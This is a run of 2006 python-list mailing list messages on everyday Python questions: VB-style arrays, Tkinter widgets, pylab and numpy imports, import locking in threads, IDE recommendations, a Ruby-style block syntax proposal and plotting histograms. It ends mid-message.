It will be time well spent. Marion Long Jr wrote: > I am switching from microsoft visual basic programming to python > programming. In microsoft > visual basic you can Dim a variable so that you can add variables by > changing the number > on the end of the variable as in the following example; > > Dim acct(100) > > numoffiles=4 > data=10 > ct=1 > while ct <> numoffiles > acctfile(ct) = data > ct= ct + 1 > data= data + ct > Wend > The results are; > acctfile(1)=10 > acctfile(2)=12 > acctfile(3)=15 > > And you can compare the values of the new variables; > if acctfile(1) > acctfile(2) then print "yes" > if acctfile(2) > acctfile(1) then print "yes" > > when I try to create acctfile(ct) = data I get the following error; > ***can't assign to function call. Then it gives the program line of the > problem > Here is the progam in python; > > numoffiles=4 > data=10 > ct=1 > > while ct != numoffiles: > acctfile(ct) =data > ct += 1 > data= data + ct > print acctfile(ct) > > Does anybody know how this is done in Python? From godson.g at gmail.com Mon Oct 23 04:18:06 2006 From: godson.g at gmail.com (Godson) Date: Mon, 23 Oct 2006 13:48:06 +0530 Subject: Tkinter--does anyone use it for sophisticated GUI development? Message-ID: From: James Stroud To: python-list at python.org Date: Thu, 19 Oct 2006 20:34:26 GMT Subject: Re: Tkinter--does anyone use it for sophisticated GUI development? Kevin Walzer wrote: > I'm a Tcl/Tk developer who has been working, slowly, at learning Python, > in part because Python has better support for certain kinds of > applications that I want to develop than Tcl/Tk does. Naturally, I > thought that I would use Tkinter as the GUI for these programs. However, > in doing research into GUI development techniques, sample code, and > showcase applications, what has struck me is how little sophisticated > GUI development seems to be done in Tkinter as compared to, say, > wxPython. I've found plenty of tutorials on how to do basic GUI stuff > with Tkinter, but that stuff pretty much ends with the core Tk widgets > (buttons, entry fields, scrollbars, and menu items). > > Coming from Tcl/Tk, where there are a huge number of extension packages > to enhance the Tk widgets and which allow you to make really polished > GUI's, I'm struck mainly by how little of this stuff has made it over > into Tkinter/Python. For instance, I've developed several Tcl > applications that use the core Tk widgets, the Tile theming package, the > Bwidget set (great tree widget and listbox, which allows you to embed > images), and tablelist (an extremely flexible muti-column listbox > display). I've found Python wrappers for some of this stuff, but almost > no documentation on how to use them, and very little in the way of > actual applications making use of them--which is itself a red flag. And > most of the pure-Python extension stuff that I've found, such as Python > megawidgets, is pretty dated/ugly and lags far behind the comparable > stuff on the Tcl side. > > Am I better off biting the bullet and learning wxPython--a different GUI > paradigm to go with the new language I'm trying to learn? I had hoped to > reduce my learning curve, but I'm very concerned that I simply can't do > what I want to do with Tkinter. What do other Tkinter developers think? I've used Tkinter + bwidgets for Crescendo which you can find in this page http://godson.auroinfo.com/downloads you can look at the screen shots of Crescendo there. We have a wrapper for Tile written by Franklin a long time ago but his site is down currently. here is the google cached version of that page http://72.14.209.104/search?hl=en&q=cache%3Ahttp%3A%2F%2Fmfranklin.is-a-geek.org%2Fdocs%2FTile%2Findex.html&btnG=Search&meta= Bwidgets wrapper of python has not all widgets that Bwidgets offers, i've tried changing the file __init__.py its pretty easy. Regards, Godson. -------------- next part -------------- An HTML attachment was scrubbed... URL: From ewijaya at i2r.a-star.edu.sg Thu Oct 26 23:43:06 2006 From: ewijaya at i2r.a-star.edu.sg (Wijaya Edward) Date: Fri, 27 Oct 2006 11:43:06 +0800 Subject: How to Split Chinese Character with backslash representation? Message-ID: <3ACF03E372996C4EACD542EA8A05E66A0615DC@mailbe01.teak.local.net> Hi all, I was trying to split a string that represent chinese characters below: >>> str = '\xc5\xeb\xc7\xd5\xbc' >>> print str2, ??? >>> fields2 = split(r'\\',str) >>> print fields2, ['\xc5\xeb\xc7\xd5\xbc'] But why the split function here doesn't seem to do the job for obtaining the desired result: ['\xc5','\xeb','\xc7','\xd5','\xbc'] Regards, -- Edward WIJAYA SINGAPORE ------------ Institute For Infocomm Research - Disclaimer ------------- This email is confidential and may be privileged. If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you. -------------------------------------------------------- From robert.kern at gmail.com Tue Oct 17 13:39:07 2006 From: robert.kern at gmail.com (Robert Kern) Date: Tue, 17 Oct 2006 12:39:07 -0500 Subject: pylab package dependencies In-Reply-To: References: <1161056950.593026.114230@i42g2000cwa.googlegroups.com> Message-ID: Lou Pecora wrote: > In article , > Robert Kern wrote: > >> I presume what you did was something like this: >> >> from matplotlib import pylab >> [N,x] = hist(eig, 10) >> >> What you actually want is this: >> >> from matplotlib import pylab >> [N,x] = pylab.hist(eig, 10) >> >> Or, if you're at the interactive prompt (but remember that it is inadvisable >> to >> do so in modules): >> >> from matplotlib.pylab import * >> [N,x] = hist(eig, 10) >> >> You will probably want to review the section of the tutorial on importing >> modules if you don't understand the differences. > > Is pylab part of matplotlib? Yes. > I always thought it was the other way > around. I have a similar view of numpy as part of scipy. It is not. > Maybe I'm > confused on the dependencies. I find it confusing in the examples > sometimes when the "bigger" package is imported (e.g. scipy) and then a > "subpackage" is also imported. Like this: > > from scipi import * > from scipi import numpy The latter would definitely be bad form if it worked. numpy is a package all by itself and should be imported by itself. > I know I've seen stuff like that, but I don't get it. The dependencies > are confusing to me. pylab is a module provided with matplotlib that exposes a nice interface for certain purposes. Somewhat confusingly, it is provided in two places, as its own module: import pylab and as a submodule in the matplotlib package: from matplotlib import pylab Both do the same thing. You get to ask John Hunter if you want to know the whys and wherefores. numpy is a package all by itself. scipy is a package all by itself although it depends on numpy being installed. You cannot import numpy from scipy. The dependency of scipy on numpy does *not* entail that scipy will provide numpy in its namespace. Sometimes packages/modules are sloppy and accidentally expose the modules that they import. For example, if you had a module foo.py like this: import bar def dostuff(): pass then foo.py depends on bar.py. One *could* also do this: from foo import bar However, as I said, this would be bad form. It is an accident that the bar module is exposed there. It should not be imported from the foo module. Naturally, there are exceptions. Sometimes some other module is deliberately imported and intended to be exposed in that place. Hopefully, there is a comment to that effect explaining that it was intentional. > I did a search of the tutorial on 'import' but didn't find the answer. It certainly doesn't answer your questions, but it should answer the OP's if my presumptions are correct. Importing a module like so: import mymodule from mypackage import myothermodule does not take all of symbols in mymodule and myothermodule and place them in the current namespace. http://docs.python.org/tut/node8.html -- Robert Kern "I have come to believe that the whole world is an enigma, a harmless enigma that is made terrible by our own mad attempt to interpret it as though it had an underlying truth." -- Umberto Eco From mike.klaas at gmail.com Tue Oct 31 18:29:25 2006 From: mike.klaas at gmail.com (Klaas) Date: 31 Oct 2006 15:29:25 -0800 Subject: import in threads: crashes & strange exceptions on dual core machines In-Reply-To: References: <1162264611.252985.208010@m7g2000cwm.googlegroups.com> Message-ID: <1162337365.070683.156670@h48g2000cwc.googlegroups.com> robert wrote: > Klaas wrote: > > It seems clear that the import lock does not include fully-executing > > the module contents. To fix this, just import cookielib before the > > What is the exact meaning of "not include fully-executing" - regarding the examples "import cookielib" ? > Do you really mean the import statement can return without having executed the cookielib module code fully? > (As said, a simple deadlock is not at all my problem) No, I mean that the import lock seems to not be held while the module contents are being executed (which would be why you are getting partially-initialized module in sys.modules). Perhaps it _is_ held, but released at various points of the import process. Someone more knowledgable of python internals will have to answer the question of what _should_ be occurring. > thanks. I will probably have to do the costly pre-import of things in main thread and spread locks as I have also no other real idea so far. Costly? > Yet this costs the smoothness of app startup and corrupts my believe in Python capabs of "lazy execution on demand". If you lock your code properly, you can do the import anytime you wish > I'd like to get a more fundamental understanding of the real problems than just a general "stay away and lock and lock everything without real understanding". Of course. But you have so far provided no information to that regard--not even a stack trace. If you suspect a bug in python, have you submitted a bug report at sourceforge? > * I have no real explanation why the import of a module like cookielib is not thread-safe. And in no way I can really explain the real OS-level crashes on dual cores/fast CPU's. Python may throw this and that, Python variable states maybe wrong, but how can it crash on OS-level when no extension libs are (hopefully) responsible? If you are certain (and not just hopeful) that no extension modules are involved, this points to a bug in python. > * The Import Lock should be a very hard lock: As soon as any thread imports something, all other threads are guaranteed to be out of any imports. A dead lock is not the problem here. What do you mean by "should"? Is this based on your knowledge of python internals? > * the things in my code patter are function local code except "opener = urlcookie_openers.get(user)" and "urlcookie_openers[user] = opener" : Simple dictionary accesses which are atomic from all my knowledge and experience. I think, I have thought about enough, what could be not thread safe. The only questionable things have to do with rare change of some globals, It is very easy for dictionary accesses to be thread-unsafe, as they can call into python-level __hash__ and __eq__ code. If this happens, a context switch is possible. Are you sure this isn't the case? > but this has not at all to do with the severe problems here and could only affect e.g wrong > url2_proxy or double/unecessary re-creation of an opener, which is uncritical in my app. Your code contains the following pattern, which can cause any number of application errors, depending on the app: a = getA() if a is None: setA() If duplicating the creation of an opener isn't a problem, why not just create one for a user to begin with? > I'm still puzzled and suspect there is a major problem in Python, maybe in win32ui or - no idea ... ? Python does a relatively decent job of maintaining thread security for its most basic operations, but this is no substitute for caring about thread safety in your own application. It is only true in the most basic cases that a single line of code corresponds to a single opcode, and determining that the code is correct is even more difficult than when using explicit locking. The advantages just aren't worth it: $ python -m timeit -s "import thread; t=thread.allocate_lock()" "t.acquire(); t.release()" 1000000 loops, best of 3: 1.34 usec per loop Note that this is actually less expensive than the handle of python code that dummy_threading does: $ python -m timeit -s "import dummy_threading; t = dummy_threading.Lock()" "t.acquire(); t.release()" 100000 loops, best of 3: 2.05 usec per loop Note that this _doesn't_ mean that you should "lock everything without real understanding", but in my experience there is very little meaningful python code that the GIL locks adequately. As for your crashes, those should be investigated. But without really any hints, I don't see that happening. If you can't reproduce it, it seems unlikely that anyone else will be able to. -Mike From gagsl-py at yahoo.com.ar Thu Oct 5 14:40:36 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Thu, 05 Oct 2006 15:40:36 -0300 Subject: What value should be passed to make a function use the default argument value? In-Reply-To: References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> <7xwt7gqwb3.fsf@ruckus.brouhaha.com> <7xac4cpefr.fsf@ruckus.brouhaha.com> <7xhcyk2u1z.fsf@ruckus.brouhaha.com> Message-ID: <7.0.1.0.0.20061005153148.05a4a350@yahoo.com.ar> At Thursday 5/10/2006 11:41, Antoon Pardon wrote: > > the general rule is that if the documentation doesn't explicitly say > > that something is a keyword argument, it isn't, and shouldn't be treated > > as such. > >The first module I looked in to check this, it wasn't true. In the Queue >Module is isn't explicitly written that maxsize is a keyword argument yet >Queue.Queue(maxsize=9) works just fine. This is true for most python code, unless the arguments are get as *args. But it's not the same for the C code, where the argument parsing must be done explicitely. Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From nospam at jollans.com Mon Oct 2 18:07:00 2006 From: nospam at jollans.com (Thomas Jollans) Date: Tue, 3 Oct 2006 00:07:00 +0200 Subject: php and python: how to unpickle using PHP? References: <45218840$0$4528$e4fe514c@news.xs4all.nl> Message-ID: On Mon, 02 Oct 2006 23:44:26 +0200, Irmen de Jong let this slip: > Ted Zeng wrote: > (...) > Try to find a language neutral marshaling format > (yaml? xml? whatever) and access that from both Python and PHP... yaml should be well-suited due to its nature as serialization format, akin to pickle. -- Thomas Jollans alias free-zombie From MonkeeSage at gmail.com Fri Oct 6 22:26:02 2006 From: MonkeeSage at gmail.com (MonkeeSage) Date: 6 Oct 2006 19:26:02 -0700 Subject: Names changed to protect the guilty In-Reply-To: References: <1160182951.812677.178750@i42g2000cwa.googlegroups.com> Message-ID: <1160187962.696186.30450@h48g2000cwc.googlegroups.com> On Oct 6, 8:34 pm, Neil Cerutti wrote: > And in the original case, I'd agree that "if X.has_key():" is > quite clear, already yielding a boolian value, and so doesn't > need to be tested for if it's False. But I wouldn't like to test > for an empty list or for None implicitly. I agree that predicates are explicit in themselves, if they are named intuitively like "has_key". I assumed that the OP was upset about "is False" not that an explicit check was done on a predicate method. On Oct 6, 8:38 pm, Gabriel Genellina wrote: > It's not about style or being pythonic: a condition may be false, but > not the False object itself, so writing > if something is False: > is the wrong way to test if something is false (isn't clear? :) ) Yes, I understand, and it's true that in a mixed context it could bite you (or you could check equality rather than identity), but assuming a strictly boolean context you don't have that problem (or perhaps you even *want* to differentiate between False, None and 0 in a mixed context). Ps. I mostly use the "if (not) cond" form. But I take the style guide as a, well, *guide*, rather than a style *law* and I tend to get annoyed when people get religious about things like that. Subjective taste, be it GvR's or the Pope's, is -- subjective. On the other hand, if lightening is flashing and seas are parting and stuff, I don;t tend to argue too much in that case. ;) Regards, Jordan From steve at REMOVEME.cybersource.com.au Fri Oct 13 03:35:49 2006 From: steve at REMOVEME.cybersource.com.au (Steven D'Aprano) Date: Fri, 13 Oct 2006 17:35:49 +1000 Subject: Efficiently iterating over part of a list Message-ID: If I want to iterate over part of the list, the normal Python idiom is to do something like this: alist = range(50) # first item is special x = alist[0] # iterate over the rest of the list for item in alist[1:] x = item The important thing to notice is that alist[1:] makes a copy. What if the list has millions of items and duplicating it is expensive? What do people do in that case? Are there better or more Pythonic alternatives to this obvious C-like idiom? for i in range(1, len(alist)): x = alist[i] -- Steven D'Aprano From hardcoded.software at gmail.com Fri Oct 6 22:27:04 2006 From: hardcoded.software at gmail.com (Virgil Dupras) Date: 6 Oct 2006 19:27:04 -0700 Subject: Names changed to protect the guilty In-Reply-To: <1160182951.812677.178750@i42g2000cwa.googlegroups.com> References: <1160182951.812677.178750@i42g2000cwa.googlegroups.com> Message-ID: <1160188024.122109.232810@m73g2000cwd.googlegroups.com> MonkeeSage wrote: > On Oct 6, 6:27 pm, a... at pythoncraft.com (Aahz) wrote: > > The following line of lightly munged code was found in a publicly > > available Python library... > > Yes, this violates the Holy, Inspired, Infallible Style Guide (pbuh), > which was written by the very finger of God when the world was still in > chaotic darkness. But I guess I'm an atheist when it comes to PEP 8. If > it is clearer to you to make the condition explicit ("blah not False"), > rather than implicit ("not blah"), then use the former. I say write the > code the way *you* (and your team if applicable) are best able to read, > write and maintain it. Then when other people tell you that it isn't > good style, or isn't "pythonic," just stab them in the face with > soldering iron ala Chris Walken. :) > > Regards, > Jordan I don't think it's even a matter of "If it's clearer to *you*", it's a matter of not writing code while drunk. Isn't something like "key not in schema.elements" universally clearer than the above mess? (If elements has a "has_key()" method, it probably is or acts like a dict) But I don't blame the autor of this line (The drunk thing was a joke), I can see how it can happen: editing. You write something, and the oops, it doesn't quite work, make a quick fix, then another, then another. You end up with something that works, but don't notice the ugly line you left. It happens. However, it can *also* happen when you write code while drunk... From hanumizzle at gmail.com Sun Oct 29 01:00:58 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Sun, 29 Oct 2006 01:00:58 -0400 Subject: What's the best IDE? In-Reply-To: <624934630610271409h7a2dc2a0o8c12f7d1b11a21ad@mail.gmail.com> References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> <1161976496.903281.302940@i42g2000cwa.googlegroups.com> <624934630610271409h7a2dc2a0o8c12f7d1b11a21ad@mail.gmail.com> Message-ID: <463ff4860610282200m320f70afj636214581e739661@mail.gmail.com> On 10/27/06, Ramon Diaz-Uriarte wrote: > Actually, I've read similar things before and I don't quite get it. I > guess all of us are Emacs begginers the first time we try emacs. > Actually, I started using Emacs about 1 month after installing Linux; > what hooked me was the possibility of editing code AND submit it to an > inferior process, just like that (this I experienced first with R, but > of course you can do the same with Python) and using the same > environment for all of my editing and programming tasks. I've used Emacs for a long time, but I think I might be going back to Vim 7.0 now that they improved the scripting functionality with *real* arrays and dicts. In some respects, this is now better than in Emacs, where the hash functionality is...well...cumbersome at best. Main reason would be that Vim is so much easier to customize and find things in than Emacs. I long time ago, I actually submitted a bug report for the perl plugin I hate to appeal to popularity, but Vim's greater popularity also contributes to higher quality in a number of cases: consider Ruby support for instance. Light years ahead of what Emacs has. vimshell is a (nearly) full-blown terminal emulator facility for Vim http://www.wana.at/vimshell/ In any case, chok dee khrab (good luck with it). -- Theerasak From aleax at mac.com Sun Oct 1 14:18:45 2006 From: aleax at mac.com (Alex Martelli) Date: Sun, 1 Oct 2006 11:18:45 -0700 Subject: does anybody earn a living programming in python? References: <1159225798.492198.89880@b28g2000cwb.googlegroups.com> <1hmhych.1jaomee1msbzi8N%aleax@mac.com> <1159706488.576589.82080@i3g2000cwc.googlegroups.com> Message-ID: <1hmiznn.1avmekd15vx5jmN%aleax@mac.com> wrote: > Since then, feedback from students in industry is that it is being used > more and more, day in and day out by top world class shops (games, > effects, etc). BUT It's still Java, C++, PHP, SQL that have the > marketing demands... Absolutely. But note that SQL (like Javascript, but even more so) DOES have an absolutely good, perfectly strong reason to exist within the compass of competence of any strong programmer, no matter what language[s] he or she uses for _general-purpose_ stuff. Even when using a higher-level abstraction (an ORM rather than SQL, or one of those doodads which compile some Java code into Javascript so it runs in the user's browser), which may or may not be a good choice for a certain specific use, you really still need good understanding and practice of the underlying SQL (or Javascript) in order to get solid results, good performance, debugging of any problem that may arise, etc etc ("Spolsky's Law of Leaky Abstractions" applies strongly here;-). Alex From hanumizzle at gmail.com Fri Oct 13 10:41:47 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Fri, 13 Oct 2006 10:41:47 -0400 Subject: Line algorithim for python and numeric In-Reply-To: <1160749997.673677.325150@m73g2000cwd.googlegroups.com> References: <1160749997.673677.325150@m73g2000cwd.googlegroups.com> Message-ID: <463ff4860610130741r48df2cfeu30e1b17eb124b350@mail.gmail.com> On 13 Oct 2006 07:33:17 -0700, bcdonovan at gmail.com wrote: > Hi everyone, > > I'm wondering if anyone knows of a way to extract data from a numeric > array along a line. I have a gridded dataset which I would like to be > able to choose two points and extract a 1-d array of the data values > along the line between the two points. Any ideas? Are these all 45 degree lines or what? If not, you'll have to use trigonometry and approximate the closest matching cell. (Don't worry, Python has maths functions!! :)) -- Theerasak From limodou at gmail.com Fri Oct 13 11:17:29 2006 From: limodou at gmail.com (limodou) Date: Fri, 13 Oct 2006 23:17:29 +0800 Subject: Best IDE? In-Reply-To: <463ff4860610130745y769107f2x4bfa00928ebd7c03@mail.gmail.com> References: <1160749749.140484.97990@f16g2000cwb.googlegroups.com> <1160750227.507474.134240@b28g2000cwb.googlegroups.com> <463ff4860610130745y769107f2x4bfa00928ebd7c03@mail.gmail.com> Message-ID: <505f13c0610130817g41d6fd03qf62c8c0338292554@mail.gmail.com> On 10/13/06, Theerasak Photha wrote: > On 13 Oct 2006 07:37:07 -0700, Bernard wrote: > > IDE : SPE (Stani's python editor) : http://stani.be/python/spe/blog/ > > Why?: because this IDE is not complicated. it ships with a debugger, a > > gui designer, a source code checker and a regex console. > > Like: obviously everything > > Hate: sometimes it doesn't start on windows 2000 > > Platform: Windows, Linux, Mac > > cost: free but I'll donate some money because I like it > > Will definitely give it a look. > Maybe you could also check out UliPad to try it. Many features UliPad also have, and it also shipped with * directory browser * multi-view * multi-language highlight support, like: python, javascript, css, html, etc * simple project support bind with directory browser * commands searching * live regular expression searching, type regex, and you'll see the result immediately * session manager * i18n * input assistant, support call tips, '.' hint, and auto-complete, for example: you type def then it'll expand to def (): * many plugins, for example spell check, if you install pyenchant module * others things hope you try it. -- I like python! UliPad <>: http://wiki.woodpecker.org.cn/moin/UliPad My Blog: http://www.donews.net/limodou From kay.schluehr at gmx.net Mon Oct 30 03:20:39 2006 From: kay.schluehr at gmx.net (Kay Schluehr) Date: 30 Oct 2006 00:20:39 -0800 Subject: Reverse function python? How to use? In-Reply-To: <1162149971.025963.144720@e64g2000cwd.googlegroups.com> References: <1162149971.025963.144720@e64g2000cwd.googlegroups.com> Message-ID: <1162196439.298868.215410@e3g2000cwe.googlegroups.com> frankie_85 wrote: > Ok I'm really lost (I'm new to python) how to use the reverse function. > > > I made a little program which basically the a, b, c, d, e which I have > listed below and basically I want it th result to be printed reverse so > instead doing "print e, d, c, b, a", I'd like to use the reverse > function You can use extended slice operators http://www.python.org/doc/2.3.5/whatsnew/section-slices.html [1] This function call should do what yo expect print [e, d, c, b, a][::-1] [1] Does anyone know where to find a comprehensible description of enhanced slices in the Python docs besides an an aged "What's new?" column? Or is it intended that newbies read this http://docs.python.org/ref/slicings.html ? From andrew29 at littlepinkcloud.invalid Thu Oct 12 07:41:37 2006 From: andrew29 at littlepinkcloud.invalid (Andrew Haley) Date: Thu, 12 Oct 2006 11:41:37 -0000 Subject: Standard Forth versus Python: a case study References: <7x3b9u376m.fsf@ruckus.brouhaha.com> <1160603937.392188.253250@m7g2000cwm.googlegroups.com> <1160619958.438049.53390@h48g2000cwc.googlegroups.com> <1160652722.908731.213650@i42g2000cwa.googlegroups.com> <7xfydtojhe.fsf@ruckus.brouhaha.com> Message-ID: <12isafh66eo7i49@news.supernews.com> In comp.lang.forth Paul Rubin wrote: > "idknow at gmail.com" writes: >> fun median { >> var x = 0. >> while( *p++) { >> if( (*p) > x) x = *p. >> } >> return x. >> } > I count two variables, p and x. Isn't this the maximum? Andrew. From richardjones at optushome.com.au Thu Oct 12 20:17:25 2006 From: richardjones at optushome.com.au (Richard Jones) Date: Fri, 13 Oct 2006 10:17:25 +1000 Subject: Starting out. References: <1160696277.628987.277700@i42g2000cwa.googlegroups.com> <1160696990.5969.4.camel@dsktp> Message-ID: <452edb15$0$11973$afc38c87@news.optusnet.com.au> Andrew Poelstra wrote: > (OT: Try to type 'proficient' with one hand on a US keyboard. :-)) On the Internet, nobody wants to know when you're typing one-handed. Richard From onurb at xiludom.gro Mon Oct 9 06:55:24 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Mon, 09 Oct 2006 12:55:24 +0200 Subject: SqlAlchemy how and where it can be used? In-Reply-To: <1160327542.606433.269250@h48g2000cwc.googlegroups.com> References: <1160327542.606433.269250@h48g2000cwc.googlegroups.com> Message-ID: <452a2a9d$0$13108$426a74cc@news.free.fr> tomec at obywatel.pl wrote: > hello, > > Ive read some articles about SqlAlchemy but i don't know where i can > use this? In any Python program. > Lets say that i would like to create some application which will be > using sqlAlchemy My question is > which programming language can i code to use it? (only Python)? Err... I don't know how and why you would use a Python package in another language ??? SQLAlchemy is an interface between your Python program and a SQL DBMS. It's *not* the SQL DBMS itself. Given your questions, I think you'd better first learn what's an SQL DBMS. -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From 06virg at gmail.com Fri Oct 6 05:29:59 2006 From: 06virg at gmail.com (virg) Date: 6 Oct 2006 02:29:59 -0700 Subject: help on pickle tool In-Reply-To: References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com> <1160124108.779860.236940@i3g2000cwc.googlegroups.com> <1160125387.706686.70090@h48g2000cwc.googlegroups.com> Message-ID: <1160126999.826707.75010@i42g2000cwa.googlegroups.com> Yes your are right. I will send a dictionary object from the server to the client. I already have client which is written in python. But we are migrating the python client which is a command line tool to Web UI client (java). If it is possible to call python function from java, i need to read more about jython, i am new to this. hanumizzle wrote: > On 6 Oct 2006 02:03:07 -0700, virg <06virg at gmail.com> wrote: > > At the server, based on client request it does some computations , it > > sends the result as dictionary (serialized) to the client. > > If I interpret your message correctly, you are receiving a Python > dictionary object from the server. Yes? In this case, I guess it might > be necessary to use Jython. I'm drawing a blank otherwise. > > (This may be naive, but can you write the client in Python as well?) > > -- Theerasak From brenocon at gmail.com Sat Oct 14 00:54:09 2006 From: brenocon at gmail.com (brenocon at gmail.com) Date: 13 Oct 2006 21:54:09 -0700 Subject: A friendlier, sugarier lambda -- a proposal for Ruby-like blocks in python Message-ID: <1160801649.828388.319880@i3g2000cwc.googlegroups.com> Hi all -- Compared to the Python I know and love, Ruby isn't quite the same. However, it has at least one terrific feature: "blocks". Whereas in Python a "block" is just several lines of locally-scoped-together code, in Ruby a "block" defines a closure (anonymous function). To avoid confusion let's call them Ruby block-closures. I see them as just a syntax for defining closures and passing them into method calls. I think something analogous could be added to Python in a very simple manner that would make closures much more readable and usable, and nail some use cases nicely. To define a new closure and pass it into a function call, there are two current methods: inline 'def' and 'lambda'. Consider the following Twisted-ish code: deferred = fetchPage('http://python.org') def _showResponse(response) print "fancy formatting: %s" % response.text deferred.addCallback(_showResponse) Lots of Twisted code has to be written backwards like this. Theoretically, it might be nice to use lambda right in the addCallback() call, like: deferred.addCallback(lambda r: print("fancy formatting %s" %r.text) ) But this is awkward since the lambda is constrained to be one line; you can't come back later and add much to the callback's code. Furthermore, this example isn't even legal, because 'print' isn't a function, but a statement -- lambda is further constrained to only contain an expression. Many have complained about this crippled-ness of lambda, but it actually makes some sense. Since Python uses colons and indentation to define blocks of code, it would be awkward to close a multiline lambda. The best I could think of would look like deferred.addCallback(lambda r: print("fancy formatting %s" % r.text) ) ^ | That trailing paranthesis is WAY un-Pythonic. We don't close code blocks like that! And in general, declaring big multiline anonymous functions in the middle of a list of normal variable arguments is weird -- it just doesn't fit. It's perfectly legal to pass in 4 closures, interspersed with number and string arguments. Imagine defining all of those inline with 'lambda' expressions! And what about nesting? And then there's the term "lambda", while a great homage to Lisp and computation theory, just isn't the friendliest programming vocab term. (from my limited understanding,) Ruby block-closures assume a specific use case: You want to pass exactly one multiline, defined-right-there closure to a method when calling it. Therefore, you should get to define the closure *immediately following* the method call. I suggest a Python version with a keyword 'using' (or 'with'?) that takes the block of code as a closure, and passes it to the method call as the *last argument*. The above example becomes: deferred.addCallback() using response: print "fancy formatting %s" % response.text and in general, the following two code snippets are equivalent: def _f(x,y): [do stuff with x and y] function_with_callback(a,b,c, _f) function_with_callback(a,b,c) using x,y: [do stuff with x and y] next_statement() ... where function_with_callback wants a 2-arg function as its last argument. It gets to call _f, or equivalently the defined-right-there closure/ruby-block, however it wants to -- wait for an I/O operation to finish, whatever. I'm not so hot about the fact that it looks like addCallback() should be completed before the 'using' keyword kicks in, but this is the simplest I could think of. This syntax does not let you define a new function and store it as a local variable. Python already has inline 'def' for that (that is, you can do a 'def' in any block of code you want, and it stays local to that scope.) It does not, strictly speaking, let you do anything new -- as Guido has stated, you could ditch lambda and achieve the equivalent by declaring the little callback function as an inline 'def', like in the first deferred example here. This only optimizes for the case of defining a closure only for the purpose of passing it in as an argument to a method. However, this must be the only use for anonymous functions in Python, since we already have inline 'def'. I've always felt that passing in a lambda in lisp and python, or the equivalent anonymous function(x,y) {} in javascript, or anonymous classes in java, was always awkward. You have to think about defining a new anonymous function *within* your method call and such, and then you have to close parantheses after it -- it's just weird, I dunno. This proposal could also handle some of the use cases mentioned in PEP 310 and 340. If you design your callback-taking functions to have only one callback and have it as the last argument, you can trivially write lock acquition (omit 'using' for a no-arg block-closure): def protect(lock, f): lock.acquire() f() lock.release() protect(myLock): [do stuff that needs myLock to be acquired] Of course, the definition of protect() might have try/finally wrapped around the f() call. (Interestingly, this starts looking like a way to define new control-like structures. I haven't thought through the implications.) ActiveRecord, Rails' object-relational mapper, does almost exactly this for database transactions, and I have found it quite nice: # User is a sqlobject/sqlalchemy/django/whatever ORM class; # User.transaction is a class method executing its passed-in closure within # the user table's START TRANSACTION and STOP TRANSACTION. user1, user2 = getTwoUsers() User.transaction() using user1, user2: someRaceConditionProneStuff(user1, user2) moreRaceConditionProneStuff(user1, user2) There might be some sort of overlap with PEP 343 and the 'with' statement, but I'm not sure exactly. Sorry I'm late to the game and commenting on last year's PEP's, but I've only started reading them. Note that PEP's 343 and 340 are very focused on resource management -- but I think that letting one define code blocks as closures could make resource handling routines be easily written in Python. Furthermore, tons more stuff -- like Deferreds and such -- could be added. (Ruby uses block-closures to do really basic constructs such as foreach iteration. Python does a fine job with "for x in L" and list and generator comprehensions... enough so that map/lambda is obsolete! I'm just trying to see if there are use cases in Python for block-closures.) I've been trying to search for similar proposals but have come up dry. Anything like this out there? I hear Ruby blocks are heavily inspired by Smalltalk; anyone know more? Is it feasible to assume the primary use of closures is as part of an argument list, and such argument lists will want only one argument that is a closure? Does doing so avoid any big annoyances of functional programming? Is this completely, totally incompatible with the current state of Python and previous deliberations :) ? e.g. I haven't thought much about how this would interact with yield and generators. But really, I'm just idly curious -- does anyone think this might be useful? Take care, Brendan From guettli+usenet at thomas-guettler.de Tue Oct 17 10:44:44 2006 From: guettli+usenet at thomas-guettler.de (Thomas Guettler) Date: 17 Oct 2006 14:44:44 GMT Subject: Problem: Python search path - module order References: <1161018293.062420.202390@i3g2000cwc.googlegroups.com> Message-ID: <4pk8isFj87maU1@individual.net> aznach wrote: > Hello! > > I have a shared hosting account at GrokThis.net and have a problem with > the module order of the Python search path. > > I'd like to use django's svn trunk instead of the > "Django-0.95-py2.4.egg" provided in site-packages. > I use ~/.bash_profile to set: > ---------------------------------------------------------------- > export PYTHONPATH="$HOME/local/lib/python:$HOME/django_src" > ---------------------------------------------------------------- you can use sys.path.insert(0, ...) in the python code. -- Thomas G?ttler, http://www.thomas-guettler.de/ http://www.tbz-pariv.de/ E-Mail: guettli (*) thomas-guettler + de Spam Catcher: niemand.leermann at thomas-guettler.de From amitsoni.1984 at gmail.com Wed Oct 18 02:01:08 2006 From: amitsoni.1984 at gmail.com (amitsoni.1984 at gmail.com) Date: 17 Oct 2006 23:01:08 -0700 Subject: Plotting histograms In-Reply-To: References: <1161056950.593026.114230@i42g2000cwa.googlegroups.com> Message-ID: <1161151268.753901.104750@k70g2000cwa.googlegroups.com> Thanks Robert, My previous problem is solved(I was using 'from matplotlib.pylab import *') but now I am facing another problem. I want to plot the histogram of eigenvalues calculated and I am using the following code: _______________________________________________________________________ import numpy from matplotlib import pylab n=100 ra = numpy.random la = numpy.linalg A = ra.standard_normal((n,n)) S = (A + numpy.transpose(A))/(2*n^(1/2)) eig = la.eigvals(S) [N,x]=pylab.hist(eig, 10) # make a histogram ------------------------------------------------------------------------------------------------------------- But again it is giving some error, which is given below: File "C:\Documents and Settings\amitsoni\Desktop\New Folder\wignerpython", line 15, in [N,x]=pylab.hist(eig, 10) # make a histogram ValueError: too many values to unpack Can anyone help me out with this?? Thanks Amit Robert Kern wrote: > amitsoni.1984 at gmail.com wrote: > > hi, I have some values(say from -a to a) stored in a vector and I want > > to plot a histogram for those values. How can I get it done in 